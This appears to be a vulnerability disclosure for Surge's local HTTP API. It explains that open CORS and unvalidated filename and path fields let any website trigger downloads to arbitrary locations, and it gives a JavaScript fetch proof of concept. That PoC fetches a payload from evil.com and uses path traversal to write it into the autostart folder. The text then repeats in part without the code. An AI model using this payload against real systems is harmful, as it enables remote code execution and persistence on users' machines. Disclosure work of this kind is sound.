Local HTTP API allows any website to trigger file downloads to arbitrary paths on the user’s system while Surge is running.
Root causes
- CORS fully open
w.Header().Set("Access-Control-Allow-Origin", "*")Allows any website to send requests to the local server.
- No validation of path or filename
type DownloadRequest struct {
URL string `json:"url"`
Filename string `json:"filename,omitempty"` // used directly
Path string `json:"path,omitempty"` // used directly
}User-controlled values are used without sanitization.
Proof of concept
From any webpage:
fetch('http://127.0.0.1:8080/download', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
url: 'http://evil.com/payload.sh',
path: '../../../.config/autostart',
filename: 'updater.desktop'
})
})
Local HTTP API allows any website to trigger file downloads to arbitrary paths on the user’s system while Surge is running.
Root causes
Allows any website to send requests to the local server.
User-controlled values are used without sanitization.
Proof of concept
From any webpage: